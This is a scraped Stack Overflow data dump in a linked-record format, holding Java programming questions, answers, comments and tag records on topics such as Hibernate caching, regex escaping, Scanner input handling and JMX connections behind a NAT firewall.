Simple Project jar 1.0 Akka repository http://repo.akka.io/releases org.apache.spark spark-core_2.10 0.9.0-incubating If you also wish to read data from Hadoop’s HDFS, you will also need to add a dependency on hadoop-client for your version of HDFS: org.apache.hadoop hadoop-client ... We…
has comment: http://stackoverflow.com/comment/42692413
score: 63
downvote count: 2

http://stackoverflow.com/comment/33849510
type: QuestionComment
has text: *Please* do yourself a favor and read about interfaces and inheritance before playing with AWT and similar stuff.
comment on: http://stackoverflow.com/q/22281825
score: 0
type: Comment

http://stackoverflow.com/comment/33684470
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22189111
has text: So I had that initially, but then the close() method wanted to throw another `IOException`, so I would be then doing another try/catch in the finally block -- is that poor coding?

http://stackoverflow.com/comment/33827565
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22269760
has text: (1) If you really want to check like this, you have to make `test` `volatile` so that the compiler will know it needs to keep checking the variable every time. (2) The correct way to handle this is to move whatever you were going to do after the `while` loop into the listeners, where you currently have the `test = true` statements. Pass in a `Runnable` to be invoked on a `SwingWorker` if you can't specify ahead of time what tasks they will be.
score: 3

http://stackoverflow.com/comment/33872936
has text: Thanks for explaining why my code was wrong. I realize I should have reserved asking this question as a last resort, but I just didn't know where else to go and sometimes having the solution explained to you as such is really nice.
comment on: http://stackoverflow.com/a/22290849
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22224967
has title: Converting java JSONObject to javascript
has answer: http://stackoverflow.com/a/22226093
tagged with: javascript
has comment: http://stackoverflow.com/comment/33745687
has comment: http://stackoverflow.com/comment/33745574
has comment: http://stackoverflow.com/comment/33745385
score: 0
has comment: http://stackoverflow.com/comment/33746023
has comment: http://stackoverflow.com/comment/33745608
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/33745622
has body: I have a JSONObject I'm sending through AJAX. JSONObject obj = new JSONObject(); obj.put("nbLike", result); obj.put("username", "bill"); Then in the success function I want to access the obj properties. eg : username I'have tried with JSON.parse(obj) but I got an error : Uncaught SyntaxError: Unexpected token ' server side the log shows : {"username":"bill","nbLike":1} //log.info(obj) client side the log show : ['username':'bill', 'nbLike':1] //console.log(result) I'd like something like : console.log("Username : " + obj.username) Thank you
has comment: http://stackoverflow.com/comment/33745460
type: AnsweredQuestion
tagged with: java
accepted answer: http://stackoverflow.com/a/22226093
has comment: http://stackoverflow.com/comment/33747277
has comment: http://stackoverflow.com/comment/33745569
has comment: http://stackoverflow.com/comment/33745499
type: Question

http://stackoverflow.com/comment/33678065
type: QuestionComment
has text: I cannot use it, unfortunately, or this would have been done hours ago...
score: 0
comment on: http://stackoverflow.com/q/22186654
type: Comment

http://stackoverflow.com/q/22273092
has title: I need an effective way to store large amounts of similar information
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33833657
score: -4
has answer: http://stackoverflow.com/a/22273207
type: Question
has answer: http://stackoverflow.com/a/22273247
has body: Currently I am using a super class (we'll call it DataSuper) that has variables for various information (e.g. A name, description, etc.). Various classes extend this super class and set the variables their specific details. The detail screen contains a generic DataSuper object and methods to set the information in the detail screen to variable set in the DataSuper. When a new instance of the detail screen is created it gets passed an int ID. It then uses a data grabber class (uses a switch and case with the int ID). The data grabber returns a sub class of DataSuper, which sets the information in the constructor and then the information on the detail screen is set. What I'm asking is, is this a good method? I could possibly need 500+ subclasses of the DataSuper class to properly implement this method, and as far as speed/size of application is concerned is this an efficient method, or is there a better way?
tagged with: oop
has comment: http://stackoverflow.com/comment/33834406
tagged with: java
has comment: http://stackoverflow.com/comment/33833573
has comment: http://stackoverflow.com/comment/33833562
answer count: 2
downvote count: 4
has comment: http://stackoverflow.com/comment/33833590
upvote count: 0
favorite count: 0

http://stackoverflow.com/comment/33699737
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22199220
score: 0
has text: I'm assuming the real `test.txt` contains integers instead of Strings though. :-P

http://stackoverflow.com/a/22273935
score: 1
has body: As the tutorial from Oracles states, this doesn't work due to type easure: A class cannot have two overloaded methods that will have the same signature after type erasure. public class Example { public void print(Set&lt;String&gt; strSet) { } public void print(Set&lt;Integer&gt; intSet) { } } The overloads would all share the same classfile representation and will generate a compile-time error. After type erasure both methods take a Set as their single argument and can not be distinguished from each other.
has comment: http://stackoverflow.com/comment/33835448
has comment: http://stackoverflow.com/comment/33835113
answers question: http://stackoverflow.com/q/22273880
upvote count: 1
has comment: http://stackoverflow.com/comment/33835260
type: Answer
downvote count: 0

http://stackoverflow.com/a/22306236
score: 0
answers question: http://stackoverflow.com/q/22306185
has comment: http://stackoverflow.com/comment/33893765
type: Answer
has comment: http://stackoverflow.com/comment/33893437
has comment: http://stackoverflow.com/comment/33893355
accepted answer of: http://stackoverflow.com/q/22306185
has comment: http://stackoverflow.com/comment/33894195
has comment: http://stackoverflow.com/comment/33893860
has comment: http://stackoverflow.com/comment/33893222
has comment: http://stackoverflow.com/comment/33894093
has body: Not every device has the watchdog timer set to the same length, and not all functions have a watchdog. Also, sleep allows the processor to switch tasks, so it probably won't set off a watchdog anyway. Its still a bad idea to sleep on the UI thread though.
has comment: http://stackoverflow.com/comment/33893727
has comment: http://stackoverflow.com/comment/33893803
has comment: http://stackoverflow.com/comment/33893615
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33893290

custom-exceptions
type: Tag
tag name: custom-exceptions
tags question: http://stackoverflow.com/q/22190340

http://stackoverflow.com/comment/33851795
comment on: http://stackoverflow.com/q/22282763
type: Comment
type: QuestionComment
score: 0
has text: What errors are showed?

http://stackoverflow.com/comment/33647128
has text: Why not use reflection though? It is designed for just these kind of requirements.
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/22169346
type: Comment

http://stackoverflow.com/a/31006778
has body: I recommend to Implement 2 ConstraintValidators, one for each class. The would both use the same Annotation which references them in the validateBy() method.
score: 0
answers question: http://stackoverflow.com/q/22192645
type: Answer

http://stackoverflow.com/a/22253960
has comment: http://stackoverflow.com/comment/33799691
answers question: http://stackoverflow.com/q/22253918
upvote count: 3
downvote count: 1
has body: This can be done dynamically via reflection, but it would be highly impractical and unnecessary. You should either use a switch or a Map to associate your string identifiers with your actual objects. Map&lt;String, MyObject&gt; identifiers = new HashMap&lt;&gt;(); ... identifiers.put("myObject1", myObject1); identifiers.put("myObject2", myObject2); identifiers.put("myObject3", myObject3); ... public MyObject getMyObject(String string) { return identifiers.get(string); }
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/33799435

http://stackoverflow.com/comment/33831304
score: 0
type: Comment
type: QuestionComment
has text: Make a `List<Chicken>` and then keep adding `new Chicken()` to the list as needed.
comment on: http://stackoverflow.com/q/22271948

http://stackoverflow.com/comment/33908860
has text: Use a vector for bullets for the love of God. Also, check the comment in you DIC post I left you.
score: 0
comment on: http://stackoverflow.com/q/22314559
type: Comment
type: QuestionComment

partition
tags question: http://stackoverflow.com/q/22265501
tag name: partition
type: Tag

http://stackoverflow.com/a/29213079
answers question: http://stackoverflow.com/q/22302956
score: 0
has body: If the route is right, I don't know if you put all of the .jar files of jersey(jersey2.x) in to the lib folder, because they are departed into three parts under jersey-ir/
type: Answer

http://stackoverflow.com/comment/33910440
score: 0
type: Comment
has text: You can compare them as events. Why do you need to put them on variables?
type: QuestionComment
comment on: http://stackoverflow.com/q/22315462

http://stackoverflow.com/q/22293415
answer count: 2
has comment: http://stackoverflow.com/comment/33874482
score: 0
possible better answer: http://stackoverflow.com/a/22293608
tagged with: android
has answer: http://stackoverflow.com/a/22293608
has title: Calling a function with setContentView(R.layout) from another function?
accepted answer: http://stackoverflow.com/a/22293642
has comment: http://stackoverflow.com/comment/33870383
type: AnsweredQuestion
has body: When I call dbconctfun(view v) method through onclick threads and runnable code it is executing last after executing other code in the dbconctfun(view v) method. In the console it shows: out of loop out of loop test####### multiple class.forname queryexct queryexct My code: package com.example.loginandroid; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import android.os.Bundle; import android.app.Activity; import android.app.AlertDialog; import android.util.Log; import android.view.View; import android.widget.EditText; import android.widget.Toast; import android.os.Looper; public class MainActivity extends Activity{ String username,password; ResultSet rs =null; boolean temcfag=false,temqfag=true; public static String tag="Lifecycle activity"; EditText user,pass; AlertDialog.Builder dialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); dialog=new AlertDialog.Builder(this); dialog.setNeutralButton("OK", null); user=(EditText)findViewById(R.id.editText1); pass=(EditText)findViewById(R.id.editText2); } Thread thrd1,thrd2,thrd3; Connection con; String result ="",queryexct; public void dbconctfun(View v ) throws SQLException { try { Class.forName("com.mysql.jdbc.Driver"); Log.v("test#######","multiple class.forname"); } catch (ClassNotFoundException e) { e.printStackTrace(); } thrd1 = new Thread(new Runnable() { public void run() { while (!Thread.interrupted()) { try { Thread.sleep(100); } catch (InterruptedException e1) { } if (con == null) { try { con = DriverManager.getConnection("jdbc:mysql://111.111.11.11:6666/dyne", "root1", "mysql"); } catch (SQLException e) { e.printStackTrace(); con = null; } if ((thrd2 != null) &amp;&amp; (!thrd2.isAlive())) thrd2.start(); } } } }); if ((thrd1 != null) &amp;&amp; (!thrd1.isAlive())) thrd1.start(); thrd2 = new Thread(new Runnable() { public vo…
tagged with: java
has answer: http://stackoverflow.com/a/22293642
type: Question

http://stackoverflow.com/q/22218350
has comment: http://stackoverflow.com/comment/33734654
has body: I am using URL Matching with parent domain and I-Frame domain. Getting this error to put the below code inside Java Class. out.print("ref = url.match(/:\/\/(.[^/]+)/)[1];"); Getting Error for this line: Invalid escape sequence (valid ones are \b \t \n \f \r \" \' \\ ) Original script: out.print("&lt;script&gt;"); //need to put below line inside java class, so using out.print(" "); ref = url.match(/:\/\/(.[^/]+)/)[1]; out.print("&lt;/script&gt;"); How to use this correctly?
type: AnsweredQuestion
tagged with: escaping
has comment: http://stackoverflow.com/comment/33735222
has answer: http://stackoverflow.com/a/22218475
tagged with: java
tagged with: javascript
score: 4
type: Question
upvote count: 4
answer count: 2
has title: Invalid escape sequence (valid ones are \b \t \n \f \r \" \' \\ ) in java
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33734427
possible better answer: http://stackoverflow.com/a/22218399
tagged with: regex
has comment: http://stackoverflow.com/comment/33734206
has answer: http://stackoverflow.com/a/22218399
has comment: http://stackoverflow.com/comment/33734357
accepted answer: http://stackoverflow.com/a/22218475

http://stackoverflow.com/q/22269942
upvote count: 2
has comment: http://stackoverflow.com/comment/33827717
has comment: http://stackoverflow.com/comment/33827649
has comment: http://stackoverflow.com/comment/33828241
has comment: http://stackoverflow.com/comment/33828514
answer count: 1
accepted answer: http://stackoverflow.com/a/22270715
has comment: http://stackoverflow.com/comment/33828464
has comment: http://stackoverflow.com/comment/33828398
has comment: http://stackoverflow.com/comment/33828152
favorite count: 0
has comment: http://stackoverflow.com/comment/33827807
has title: Hibernate update changes record in db, but future requests still return cached values?
has answer: http://stackoverflow.com/a/22270715
has body: I'm updating a record via hibernate with the following code: Session session = sessionFactory.getCurrentSession(); session.beginTransaction(); User u = (User) session.get(User.class, userId) ; u.fooBar = newFooBar; session.update(u); session.getTransaction().commit(); When I execute this code, I can see in my database that the value of the column fooBar for the user has changed. However in future requests, when queries are made which would fetch the same User, its fooBar value is the same as it was before updating. If I restart my web server, then the value updates. Is Hibernate simply caching the old values? How can I force it to update its cache values when the object is updated?
has comment: http://stackoverflow.com/comment/33828289
has comment: http://stackoverflow.com/comment/33828060
has comment: http://stackoverflow.com/comment/33828318
has comment: http://stackoverflow.com/comment/33828420
has comment: http://stackoverflow.com/comment/33828194
has comment: http://stackoverflow.com/comment/33827690
type: AnsweredQuestion
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33827745
tagged with: java
tagged with: hibernate
has comment: http://stackoverflow.com/comment/33828353
type: Question
has comment: http://stackoverflow.com/comment/33828041
has comment: http://stackoverflow.com/comment/33828014
has comment: http://stackoverflow.com/comment/33828612
has comment: http://stackoverflow.com/comment/33827960
has comment: http://stackoverflow.com/comment/33827852
has comment: http://stackoverflow.com/comment/33828423

http://stackoverflow.com/q/22240168
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33774468
favorite count: 0
has comment: http://stackoverflow.com/comment/33774417
has answer: http://stackoverflow.com/a/22240206
has body: I have an assignment for class that requires us to take input from the user, drop the lowest assignment grade, then take a few more grades, calculate the average. I've got all that done but the last step is we must ask the user if they want to repeat the program for another student. The do while loop I have won't execute. import java.util.Scanner; public class CalculateGrades{ public static void main(String [] args){ Scanner sc = new Scanner (System.in); double score; double sum=0; double lowest=100; do{ //ASSIGNMENT GRADES for(int i=1;i&lt;=5;i++){ System.out.println("enter grade for assignment " +i); score=sc.nextDouble(); sum=sum+score; if(score&lt;lowest){ lowest=score; } } sum=sum-lowest; double assignmentAvg= sum/4; System.out.println("After the lowest grade is dropped, your assignment average is " + assignmentAvg); //EXAM GRADES System.out.println("enter grade for exam one"); double exam1=sc.nextDouble(); System.out.println("enter grade for exam two"); double exam2=sc.nextDouble(); //LAB GRADE System.out.println("enter grade for lab"); double lab= sc.nextDouble(); //FINAL EXAM GRADE System.out.println("enter grade for final exam"); double Final=sc.nextDouble(); //AVERAGE double avg= (assignmentAvg*.2)+(exam1*.15)+(exam2*.2)+(lab*.2)+(Final*.25); if(avg &gt;=90){ System.out.println("Your weighted average is " + avg + " and your letter grade is A"); } else if(avg &gt;=80){ System.out.println("Your weighted average is " + avg + " and your letter grade is B"); } else if(avg &gt;=70){ System.out.println("Your weighted average is " + avg + " and your letter grade is C"); } else if(avg &gt;=60){ System.out.println("Your weighted average is " + avg + " and your letter grade is D"); } else{ System.out.println("Your weighted average is " + avg + " and your letter grade is F"); } System.out.println("Would you like to calculate for another student? Press 1 for yes, or any key to terminate"); int again= sc.nextInt(); }while(again==1); // for next student reset sum } }
has comment: http://stackoverflow.com/comment/33774667
has comment: http://stackoverflow.com/comment/33774404
has comment: http://stackoverflow.com/comment/33775463
has comment: http://stackoverflow.com/comment/33774429
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33774388
downvote count: 3
score: -3
has title: Grade calculator won't execute while loop
has comment: http://stackoverflow.com/comment/33774420
has comment: http://stackoverflow.com/comment/33774423
tagged with: do-while
tagged with: java
type: Question
linked to: http://stackoverflow.com/q/8068814

http://stackoverflow.com/comment/33832558
score: 0
type: Comment
has text: it **is** calling the no-arg constructor : http://stackoverflow.com/questions/2054022/unnecessary-to-put-super-in-constructor
comment on: http://stackoverflow.com/a/22266834
type: AnswerComment

fractions
type: Tag
tags question: http://stackoverflow.com/q/22307112
tag name: fractions

http://stackoverflow.com/a/22191686
accepted answer of: http://stackoverflow.com/q/22191554
has body: you have an infinite loop here ; for(int i=0;i&gt;queryArray.length();++i) { tv1.setText(list[i]); } Also, the above snippet displays one line from your list on the textview each time the loop is running. It doesn't append the text on the textview. Try to optimize your code a bit, that you can do the task in one loop. StringBuilder sb = new StringBuilder(); for (int i=0; i&lt;queryArray.length(); i++) { // chain each string, separated with a new line sb.append(queryArray.getString(i) + "\n"); } // display the content on textview tv1.setText(sb.toString()); ref : StringBuilder - Android documentation
answers question: http://stackoverflow.com/q/22191554
type: Answer
has comment: http://stackoverflow.com/comment/33686641
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/33678325
type: QuestionComment
comment on: http://stackoverflow.com/q/22186934
score: 0
has text: No. Options is not enum
type: Comment

http://stackoverflow.com/q/22220372
type: Question
tagged with: mobile
score: -1
has comment: http://stackoverflow.com/comment/33737793
has comment: http://stackoverflow.com/comment/33738172
upvote count: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: android
has body: I am a beginner in android development. The android Device have password to use. The password may numeric or some pattern. I want to Trigger a function when anyone tries three consecutive wrong password inputs. I am not making a password app. The password app will be an security app chosen by the device user. When ever anyone try that security app password to assess the device then function will be Trigger. My app trigger when other security app password is accessed Thanks in advance
has title: Trigger a function when three consecutive wrong password tries
has answer: http://stackoverflow.com/a/22220440
tagged with: java
downvote count: 1

http://stackoverflow.com/comment/33771282
comment on: http://stackoverflow.com/q/22238221
has text: @DavidConrad I guess I forgot to add the point to previous locations...I'll fix that right now. My algorithm has it so that if previousLocations DOES contain the test, then it should just skip it, that's why I left it blank.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33872377
type: QuestionComment
comment on: http://stackoverflow.com/q/22294490
score: 0
has text: It might help with answers of you showed us the Java code and the C# code.
type: Comment

http://stackoverflow.com/comment/33965254
comment on: http://stackoverflow.com/a/22337726
type: Comment
score: 2
has text: OP's original question was about optimizing Field.get() performance, possibly with MethodHandles, and my answer delivers on that. But your comment about `invokeExact` is somewhat fair, I was implicitly thinking showing up the working code which uses `invokeExact` answers the question how to use it.
type: AnswerComment

http://stackoverflow.com/comment/33701657
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22200377
has text: What do you mean by backlogged?
score: 0

http://stackoverflow.com/q/22306363
has title: Spring: Cannot connect to a JMX Server using RMI from behind a firewall
linked to: http://stackoverflow.com/q/20884353
has body: My Spring application is running on a machine that is behind a NAT firewall (pfSense). The machine's internal IP is a.b.c.d, and the NAT IP is w.x.y.z The Spring configuration's serviceUrl is set to my internal IP (a.b.c.d) on port 1100, and when I start the application, I provide the following switches: -Dcom.sun.management.jmxremote -Djava.rmi.server.hostname=w.x.y.z -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false As shown above, I set -Djava.rmi.server.hostname=w.x.y.z in order to make it possible to connect to the application through the NAT. I have also opened up the relevant ports on the machine's firewall, and set up a port forward from w.x.y.z:1100 to a.b.c.d:1100 When I then try to connect to the app from outside the network using jconsole on w.x.y.z:1100, I get a java.io.IOException: jmxrmi java.io.IOException: jmxrmi at sun.tools.jconsole.ProxyClient.checkSslConfig(ProxyClient.java:236) at sun.tools.jconsole.ProxyClient.<init>(ProxyClient.java:127) at sun.tools.jconsole.ProxyClient.getProxyClient(ProxyClient.java:483) at sun.tools.jconsole.JConsole$3.run(JConsole.java:524) Caused by: java.rmi.NotBoundException: jmxrmi at sun.rmi.registry.RegistryImpl.lookup(RegistryImpl.java:136) at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source) at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:409) at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267) at sun.rmi.transport.Transport$1.run(Transport.java:177) at sun.rmi.transport.Transport$1.run(Transport.java:174) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.Transport.serviceCall(Transport.java:173) at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:556) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:811) at sun.rmi.transport.tcp.TCPTransport$ConnectionHan…
has answer: http://stackoverflow.com/a/22308787
score: 5
tagged with: firewall
tagged with: jmx
tagged with: spring
type: AnsweredQuestion
upvote count: 5
tagged with: java
linked to: http://stackoverflow.com/q/3071376
linked to: http://stackoverflow.com/q/15093376
accepted answer: http://stackoverflow.com/a/22308787
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22306586
downvote count: 0
tagged with: nat
has answer: http://stackoverflow.com/a/22306586
favorite count: 0

http://stackoverflow.com/q/22313817
has answer: http://stackoverflow.com/a/22314696
has comment: http://stackoverflow.com/comment/33908710
has body: I'm having trouble figuring out how to get my loop to make the computer play after the human plays. here's the code: (Note: Sorry for any indentation issues. this site doesn't like my copy and paste from textpad.) import java.util.*; class GameOfNim { public static void main(String [] args) { Scanner in = new Scanner (System.in); System.out.println("Welcome to the game of Nim!"); System.out.println("------------------------------"); System.out.println("The rules are simple: "); System.out.println("1. You must take one but at most half of the marbles."); System.out.println("2. The player that takes the last marble loses!"); System.out.println("-------------------------------------------------------"); System.out.println("To start the game choose a difficulty where 0 = hard &amp; 1 = easy: "); int marbles, player, difficulty, pick; marbles = (int)(Math.random()*90+10); player = (int)(Math.random()+0.5); difficulty = (int)(Math.random()+0.5); pick = (int)(in.nextInt()); if(difficulty == 0) { System.out.println("The Computer is now in Beast Mode!"); }else if(difficulty == 1) { System.out.println("The Computer is now in easy mode."); } System.out.println("The pile of marbles has: " + marbles + " total marbles. Game On!"); {while(marbles&gt;0) { if(player==0) { //person System.out.print("Pick some marbles: "); pick = in.nextInt(); } if (pick &gt;= 1 &amp;&amp; pick &lt;= marbles/2) { marbles = marbles - pick; System.out.println(marbles+"left"); } else if(pick &lt; 1 || pick &gt; marbles/2 &amp;&amp; marbles &gt; 1) { System.out.println("Error: Illegal Move."); player = 0; continue; } else { marbles = marbles - pick; System.out.println(marbles + "left."); }} if(player == 1 &amp;&amp; difficulty ==1) { System.out.println("Computer's turn to pick"); pick = (int)(Math.random()*marbles/2+1); marbles = marbles - pick; System.out.println("computer picks: " + pick + "marbles." + "There are: " + marbles + " marbles left.");} else if(player == 1 &amp;&amp; difficulty == 0) { System…
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22314637
tagged with: java
tagged with: loops
type: Question
has title: Game of nim player turn loop
answer count: 2
score: 0

http://stackoverflow.com/a/22179034
has comment: http://stackoverflow.com/comment/33664049
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22178670
accepted answer of: http://stackoverflow.com/q/22178670
has comment: http://stackoverflow.com/comment/33663803
type: Answer
has comment: http://stackoverflow.com/comment/33664165
downvote count: 0
score: 1
has body: System.out.println("Column: " + col); String question = null; InputStream col2 = new ByteArrayInputStream(col.getBytes()); col is null, which is why col.getBytes() throws the NullPointerException Btw. is is also indicated by your output Column: null
has comment: http://stackoverflow.com/comment/33663854

http://stackoverflow.com/comment/33776744
type: Comment
type: QuestionComment
has text: there are multiple occurrences but its not common..
comment on: http://stackoverflow.com/q/22223601
score: 0

http://stackoverflow.com/comment/33667322
type: QuestionComment
has text: 'f' appended to a literal number just indicates that it's a float value (instead of a double). (It has nothing to do with JBox - it's just Java syntax)
score: 2
comment on: http://stackoverflow.com/q/22180904
type: Comment

http://stackoverflow.com/q/22258565
favorite count: 0
has answer: http://stackoverflow.com/a/22259429
score: 2
accepted answer: http://stackoverflow.com/a/22259429
downvote count: 0
has title: forcing invocation of base class method
has answer: http://stackoverflow.com/a/22258788
has answer: http://stackoverflow.com/a/22258798
has comment: http://stackoverflow.com/comment/33807292
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33807254
tagged with: java
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33807405
possible better answer: http://stackoverflow.com/a/22258788
answer count: 3
has body: How does one force to invoke A's foo() method when working with instance of B (from main, and not through super call) ? I could swear I've seen it done before. Perhaps it was C++ ?? public class Test { static class A { public void foo() { System.out.println("A"); } } static class B extends A{ public void foo() { System.out.println("B"); } } public static void main(String[] args) { A a = new A(); B b = new B(); A aa = new B(); a.foo(); b.foo(); ((A)aa).foo(); // want to print A here! } }

http://stackoverflow.com/comment/123651992
comment on: http://stackoverflow.com/a/22298627
has text: @veritas: assuming you answered the password prompts, it shouldn't 'hang'. Mouse is irrelevant to a program like OpenSSL; did you try control-C? Are you running directly on Windows, and built how (or by whom), or on something layered on Windows like mingw (or 'git-bash' which is really mingw64) or cygwin or wsl (and which guest)? Are you using console, WinTerm, whatever mingw and cygwin are using now, some kind of xterm, putty or similar, or what? Or a VM (and which kind, with what kind of terminal)?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33918282
comment on: http://stackoverflow.com/q/22319262
has text: Umm, I don't think so. I didn't even know that eclipse would display the class files. I am definitely in the regular java file. I'll upload a screen shot.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22325401
has comment: http://stackoverflow.com/comment/33926850
has answer: http://stackoverflow.com/a/22325515
has title: How to Convert the delimitter in the following string
tagged with: regex
possible better answer: http://stackoverflow.com/a/22325515
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22325469
tagged with: java
linked to: http://stackoverflow.com/q/8309374
has body: String str = "1000458551||A210171046D86F9F6EE21B66FE9B1441E20EC1DEF9654A2D092162591C01D26F||1||7707||0||0||1002||1373569142000||HTC One||val||4.1.2||0||1.01.20130206.15441"; str.replaceAll("(|\\|)", "|"); but the delimitter is not getting replaced, what am I doing wrong here? Thanks for the reply in advance
type: Question
duplicate of: http://stackoverflow.com/q/8309374
accepted answer: http://stackoverflow.com/a/22325469
score: 0
linked to: http://stackoverflow.com/q/275768
answer count: 2

http://stackoverflow.com/a/22302454
answers question: http://stackoverflow.com/q/22302178
has comment: http://stackoverflow.com/comment/33888259
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22302178
has comment: http://stackoverflow.com/comment/33887161
score: 1
has body: You are initializing m_run as false,then in the while cycle in the run() method you must have set to true. Change it to true and the thread will work normally.
has comment: http://stackoverflow.com/comment/33886400
has comment: http://stackoverflow.com/comment/33886947
downvote count: 0
has comment: http://stackoverflow.com/comment/33886774
type: AcceptedAnswer

http://stackoverflow.com/a/23107874
has body: Content-Disposition is just advisory. If you use a non-browser client (Java, curl, wget...) and do a GET request, you can just do whatever you want. (I guess this means your question isn't sufficiently specific)
answers question: http://stackoverflow.com/q/22175946
score: 0
type: Answer

http://stackoverflow.com/a/22207188
answers question: http://stackoverflow.com/q/22206717
upvote count: 2
has body: There is already a solution in the Java library: Collections.reverseOrder which optionally takes another Comparator. This works for all objects implementing the Compareable interface: public class ColumnComparator&lt;T&gt; implements Comparator&lt;T extends Compareable[]&gt; { // Should not change in the middle of the comparison final int col; public ColumnComparator&lt;T&gt;(int col) { this.col = col; } @Override public int compare(T[] a, T[] b) { // Watch it! Possible null pointer if a[col-1] == null! Change as it suits yourself // The generic implements the Comparable interface. Use it. return a[col -1 ].compareTo(b[col-1]); } } Then, chain an instance of your comparator with the reverse comparator: Comparator&lt;ClassYouWantToCompare[]&gt; columnComparator = new ColumnComparator&lt;ClassYouWantToCompare[]&gt;(1); // Reverse the odering of the comparator. Comparator&lt;ClassYouWantToCompare[]&gt; result = Collections.reverseOrder(columnComparator); This will simply result in result.compareTo(Compareable a, Compareable b) == -1 * columnComparator.compareTo(T a, T b) but it is fare more readable.
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/34665005
has comment: http://stackoverflow.com/comment/33760652

http://stackoverflow.com/comment/33924428
comment on: http://stackoverflow.com/a/22323144
type: Comment
has text: I have done as it is shown in the tut but still its not working? please refer to my answer below. :(
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33665752
has text: TextWatcher would be the way to go!
score: 0
comment on: http://stackoverflow.com/q/22179426
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22174250
tagged with: type-mismatch
has comment: http://stackoverflow.com/comment/33659387
score: 0
answer count: 1
tagged with: java
tagged with: mismatch
has body: package skater; import java.io.*; import java.util.*; public class TestSkater { public static void main(String[]args) throws IOException { Scanner sc = new Scanner(new File("C:/pairs.txt")); String name1 = null, name2 = null, Country = null; double [] Technical = new double [8]; double [] Performance = new double[8]; try { while(sc.hasNext()) { name1=sc.nextLine(); name2 = sc.nextLine(); Country = sc.nextLine(); for (int t = 0; t&lt;Technical.length; t++) { Technical[t] = sc.nextDouble(); } for(int y = 0; y&lt;Performance.length; y++) { Performance[y] = sc.nextDouble(); } // Skater [] skaters = new Skater[20]; Skater S1 = new Skater(name1,name2,Country,Technical,Performance); System.out.println(S1); sc.nextLine(); } } catch(Exception e) { System.out.println(e.getMessage()); System.out.print("Bad program"); } } } Whenever I run my code without the try and catch I get an InputMismatchException. It's reading from a file that has all the names of the teams with their scores and countries. It's formatted like this: smith jones australia 4.2 5.1 3.8 2.9 5.0 4.6 4.9 4.3 4.9 4.8 5.8 3.8 4.9 4.6 5.0 4.5 lennon murray england 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8 3.1 3.2 3.3 3.4 3.5 3.6 3.7 3.8 I know that the nextLine() is telling it to look at the next line of data, And the nextDouble() that I am using for the arrays Performance and Technical, is telling it to look at the next double in line. I can't figure out why it is giving me this error. I think it's because when it moves onto the first name of the next team it is still seeing it as a double from the array Performance, but I can't figure out how to fix that problem.
has answer: http://stackoverflow.com/a/22176105
has comment: http://stackoverflow.com/comment/33659933
type: UnansweredQuestion
has title: Type mismatch after running
type: Question

http://stackoverflow.com/a/22218804
has comment: http://stackoverflow.com/comment/33740475
has comment: http://stackoverflow.com/comment/33739982
has body: Move @CollectionTable over to be an annotation on getPetname as shown below: private Set&lt;String&gt; petname; @ElementCollection @CollectionTable(name = "pets", joinColumns =@JoinColumn(name = "PERSON_ID")) public Set&lt;String&gt; getPetname(){ return petname; }
has comment: http://stackoverflow.com/comment/33738658
answers question: http://stackoverflow.com/q/22218332
score: 0
has comment: http://stackoverflow.com/comment/33735250
has comment: http://stackoverflow.com/comment/33738070
type: Answer
has comment: http://stackoverflow.com/comment/33735202
has comment: http://stackoverflow.com/comment/33736951
has comment: http://stackoverflow.com/comment/33739327
has comment: http://stackoverflow.com/comment/33737227
has comment: http://stackoverflow.com/comment/33740628

http://stackoverflow.com/q/22281348
has answer: http://stackoverflow.com/a/22282031
type: Question
